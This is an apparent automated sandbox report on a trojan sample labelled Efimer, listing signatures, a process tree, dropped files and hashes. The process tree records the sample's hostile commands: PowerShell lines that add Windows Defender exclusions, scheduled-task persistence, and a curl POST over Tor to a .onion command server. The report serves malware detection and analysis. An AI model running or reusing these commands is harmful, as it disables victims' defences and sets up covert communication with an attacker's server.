Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/05/2026, 19:53

General

  • Target
    common.dat.exe
  • Size 13.2MB
  • Sample260520-ymdp8sb17x
  • SHA256 ffeba325384757d1b22d585d8ad00d79ac807e13b8ad31ddb42205726b3006ef
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Efimer

    Efimer is a trojan written in JS.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 15 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\common.dat.exe
    "C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4048
    • C:\Users\Admin\AppData\Local\Temp\common.dat.exe
      "C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5116
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3484
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2952
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4208
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3396
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4440
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:228
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2364
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4528
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1776
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2768
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1324
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Get-MpComputerStatus | Out-Null"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3780
      • C:\Windows\SYSTEM32\curl.exe
        curl -s --max-time 10 https://ipinfo.io/country
        3⤵
          PID:812
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /create /tn ufino /xml C:\Users\Public\Documents\uzaya\ufino.xml /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3120
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /create /tn ocafa /xml C:\Users\Public\Documents\uzaya\ocafa.xml /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4448
    • C:\Windows\System32\wscript.exe
      C:\Windows\System32\wscript.exe
      1⤵
        PID:5024
      • C:\Windows\System32\wscript.exe
        C:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ufino.js
        1⤵
          PID:2400
        • C:\Windows\System32\wscript.exe
          C:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ocafa.js
          1⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:1548
          • C:\Users\Public\Documents\uzaya\ugate.exe
            "C:\Users\Public\Documents\uzaya\ugate.exe"
            2⤵
            • Executes dropped EXE
            PID:916
          • C:\Windows\System32\curl.exe
            "C:\Windows\System32\curl.exe" -X POST -d "version=2.0&GUID=vt1z-b79ceaab&FLAG=0&GEIP=??&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile
            2⤵
              PID:5028
            • C:\Users\Public\Documents\uzaya\ugate.exe
              "C:\Users\Public\Documents\uzaya\ugate.exe"
              2⤵
              • Executes dropped EXE
              PID:1272

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 9f7f29a4696876cadca3f14d7e43f9ede0c97fd64be3f5d94bda49a91b6a419e
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 dc600748250d0dd0ffa2678049fd27ec8e56e262601f3d8a1fd7165b03f97fb8
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 c3077e4cadb4ed246c02abe55aa6cf832fee4c2546b7addb7d22cd1c7c8c1294
                • MD5 SHA1 SHA512 TLSH

                VCRUNTIME140.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\VCRUNTIME140.dll
                • Size 117KB
                • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
                • MD5 SHA1 SHA512 SSDEEP TLSH

                VCRUNTIME140_1.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\VCRUNTIME140_1.dll
                • Size 48KB
                • SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _bz2.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_bz2.pyd
                • Size 82KB
                • SHA256 fc3b481684b926350057e263622a2a5335b149a0498a8d65c4f37e39dd90b640
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _ctypes.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_ctypes.pyd
                • Size 128KB
                • SHA256 f63c6c7e71c342084d8f1a108786ca6975a52cefef8be32cc2589e6e2fe060c8
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _decimal.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_decimal.pyd
                • Size 271KB
                • SHA256 b715d1c18e9a9c1531f21c02003b4c6726742d1a2441a1893bc3d79d7bb50e91
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _hashlib.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_hashlib.pyd
                • Size 62KB
                • SHA256 838d5c8b7c3212c8429baf612623abbbc20a9023eec41e34e5461b76a285b86c
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _lzma.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_lzma.pyd
                • Size 154KB
                • SHA256 d080eabd015a3569813a220fd4ea74dff34ed2a8519a10473eb37e22b1118a06
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _socket.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_socket.pyd
                • Size 81KB
                • SHA256 35246b04c6c7001ca448554246445a845ce116814a29b18b617ea38752e4659b
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _uuid.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_uuid.pyd
                • Size 25KB
                • SHA256 f9d5008f0772aa0720bc056a6ecd5a2a3f24965e4b470b022d88627a436c1ffe
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _wmi.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_wmi.pyd
                • Size 37KB
                • SHA256 6435c679a3a3ff4f16708ebc43f7ca62456c110ac1ea94f617d8052c90c143c7
                • MD5 SHA1 SHA512 SSDEEP TLSH

                base_library.zip

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\base_library.zip
                • Size 1.3MB
                • SHA256 c16c08f0ca5967c3a4384e83889483baff5948f74e61785b04a6ccfe929f5434
                • MD5 SHA1 SHA512 SSDEEP TLSH

                addrs.txt

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\data_pack\addrs.txt
                • Size 1.4MB
                • SHA256 9eda4f4a69ac6eba4c9623908e8937fa71360f531582741c200724e3e2bd942e
                • MD5 SHA1 SHA512 SSDEEP TLSH

                jobfs_d.js

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\data_pack\jobfs_d.js
                • Size 20KB
                • SHA256 b6b02b339a3d97de530a0ecfa338ca1a9bd829c24f6fd34bd5d146e470177854
                • MD5 SHA1 SHA512 SSDEEP TLSH

                jobfs_n.js

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\data_pack\jobfs_n.js
                • Size 33KB
                • SHA256 b3432b6a32e5cb22c9ec95ac1c4f8b84fc4db7ccc70a2a1cd92c0ad01314a836
                • MD5 SHA1 SHA512 SSDEEP TLSH

                jpack.js

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\data_pack\jpack.js
                • Size 2KB
                • SHA256 0b7e71ef9d4a058ac32eabc652b7f97053029e9f4a211374423b22dd5206044c
                • MD5 SHA1 SHA512 TLSH

                task.xml

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\data_pack\task.xml
                • Size 3KB
                • SHA256 b09d6c2109b6f06c86b58cee45dd2dd3e3dfca3faded4197d2d6fee5cc639580
                • MD5 SHA1 SHA512 TLSH

                ugate.exe

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\data_pack\ugate.exe
                • Size 8.6MB
                • SHA256 000b4d6f4fe41d8b73b3ede8fab5b2c271f4b6fe1cb6ae059671392800722f47
                • MD5 SHA1 SHA512 SSDEEP TLSH

                words.txt

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\data_pack\words.txt
                • Size 14KB
                • SHA256 6526e18ac780b9f8c21bb9700beec29fd94c2be8bfdd97c9d013c24f13ef79a2
                • MD5 SHA1 SHA512 SSDEEP TLSH

                libcrypto-3.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\libcrypto-3.dll
                • Size 5.0MB
                • SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
                • MD5 SHA1 SHA512 SSDEEP TLSH

                libffi-8.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\libffi-8.dll
                • Size 38KB
                • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _psutil_windows.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\psutil\_psutil_windows.pyd
                • Size 69KB
                • SHA256 0035450801bd7d938e9e146c5ec28e619cb5a5f4a18cdc53ac7e9734c7f94f78
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pyarmor_runtime.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\pyarmor_runtime_000000\pyarmor_runtime.pyd
                • Size 625KB
                • SHA256 87c972a152456d5dcbf41a9c84cee1c7fa2e43193c2e26c9eb7b8c368ff56c8f
                • MD5 SHA1 SHA512 SSDEEP TLSH

                python3.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\python3.dll
                • Size 68KB
                • SHA256 a5c6a329698490a035133433928d04368ce6285bb91a9d074fc285de4c9a32a4
                • MD5 SHA1 SHA512 SSDEEP TLSH

                python313.dll

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\python313.dll
                • Size 5.8MB
                • SHA256 0c0a66505093b6a4bb3475f716bd3d9552095776f6a124709c13b3f9552c7d99
                • MD5 SHA1 SHA512 SSDEEP TLSH

                select.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\select.pyd
                • Size 30KB
                • SHA256 78e5994c29d8851f28b5b12d59d742d876683aea58eceea1fb895b2036cdcdeb
                • MD5 SHA1 SHA512 SSDEEP TLSH

                unicodedata.pyd

                • Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\unicodedata.pyd
                • Size 693KB
                • SHA256 2693c7ee4fba55dc548f641c0cb94485d0e18596ffef16541bd43a5104c28b20
                • MD5 SHA1 SHA512 SSDEEP TLSH

                __PSScriptPolicyTest_lpdcxbe2.pek.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lpdcxbe2.pek.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                cfile

                • Path C:\Users\Admin\AppData\Local\Temp\cfile
                • Size 19B
                • SHA256 48f1d771d205630bb4622263b647c477ddb5a28dbe70f0cbf163cbcbd294ddc7
                • MD5 SHA1 SHA512

                cached-certs

                • Path C:\Users\Admin\AppData\Roaming\tor\cached-certs
                • Size 20KB
                • SHA256 a4c01c36530b38bb729b18b804978e7e85c6afa773ee6a90671169bd8b95fe94
                • MD5 SHA1 SHA512 SSDEEP TLSH

                cached-microdesc-consensus

                • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdesc-consensus
                • Size 3.4MB
                • SHA256 b7a72459ad5bc3d947b360868b1bd1fc84202d8cc188e1bd70562ad30afa85f9
                • MD5 SHA1 SHA512 SSDEEP TLSH

                cached-microdescs.new

                • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
                • Size 11.8MB
                • SHA256 2ec3b8f05ed4af75826b750f92853e8251a3a137ff8a430c1b4c73bc104cac79
                • MD5 SHA1 SHA512 SSDEEP TLSH

                cached-microdescs.new

                • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
                • Size 36.7MB
                • SHA256 32016b8a97352f9675041c967c958a654c1237618c724b0556843357a608e1f1
                • MD5 SHA1 SHA512 SSDEEP TLSH

                state

                • Path C:\Users\Admin\AppData\Roaming\tor\state
                • Size 3KB
                • SHA256 6e81e2a149bdccdbae2a41c1d7bc9c2e4b0f0df8934263982bdcb2a41253bef1
                • MD5 SHA1 SHA512 TLSH

                GUID

                • Path C:\Users\Public\Documents\uzaya\GUID
                • Size 13B
                • SHA256 71b678a8ead0308c18abc5bdc54136fa80a778ea399d85ab0cf222740c4d0c8a
                • MD5 SHA1 SHA512

                addrs.txt

                • Path C:\Users\Public\Documents\uzaya\addrs.txt
                • Size 1.4MB
                • SHA256 9de315d175129958a383e63d31807d9a18c6799b3b951d254514440474820c12
                • MD5 SHA1 SHA512 SSDEEP TLSH

                ocafa.js

                • Path C:\Users\Public\Documents\uzaya\ocafa.js
                • Size 51KB
                • SHA256 ec35097f12a2438b5cd17e87d7957a30ed4397906a6b76f6c4bb735bb3457851
                • MD5 SHA1 SHA512 SSDEEP TLSH

                ocafa.xml

                • Path C:\Users\Public\Documents\uzaya\ocafa.xml
                • Size 3KB
                • SHA256 bb6c1575e7e73d6e1b07d6748eee6bbc32ddeed2be2a1829c2900240a8873dfd
                • MD5 SHA1 SHA512 TLSH

                ufino.js

                • Path C:\Users\Public\Documents\uzaya\ufino.js
                • Size 32KB
                • SHA256 884e659a48fde8d06f389d1d07a5e987dd42055e444a8c9acb362cc16a3a6d21
                • MD5 SHA1 SHA512 SSDEEP TLSH

                ufino.xml

                • Path C:\Users\Public\Documents\uzaya\ufino.xml
                • Size 3KB
                • SHA256 5cbfa3e18446434aa15a3ed44d636c5e8f2c05c77916a4383692e6223b5c5064
                • MD5 SHA1 SHA512 TLSH

                ugate.exe

                • Path C:\Users\Public\Documents\uzaya\ugate.exe
                • Size 8.6MB
                • SHA256 6b866c187a0dee2fb751a8990d50dc1ed83f68e025720081e4d8e27097067dc8
                • MD5 SHA1 SHA512 SSDEEP TLSH

                words.txt

                • Path C:\Users\Public\Documents\uzaya\words.txt
                • Size 14KB
                • SHA256 d2bd2aeb50ac5df60c1eb10afcec2b680d5a8a9f2bbc74a15c45bf3525528334
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/1548-210-0x0000029E225E0000-0x0000029E226E0000-memory.dmp

                memory/2952-61-0x0000024B7ECC0000-0x0000024B7ECD0000-memory.dmp

                memory/2952-63-0x0000024B7EC80000-0x0000024B7ECA2000-memory.dmp

                memory/2952-62-0x0000024B7ECC0000-0x0000024B7ECD0000-memory.dmp

                memory/4048-150-0x00007FF618FB0000-0x00007FF618FE2000-memory.dmp

                memory/4048-83-0x00007FF618FB0000-0x00007FF618FE2000-memory.dmp

                memory/5116-149-0x0000000070180000-0x000000007022B000-memory.dmp

                memory/5116-148-0x00007FF618FB0000-0x00007FF618FE2000-memory.dmp

                memory/5116-103-0x0000000070180000-0x000000007022B000-memory.dmp

                memory/5116-102-0x00007FF618FB0000-0x00007FF618FE2000-memory.dmp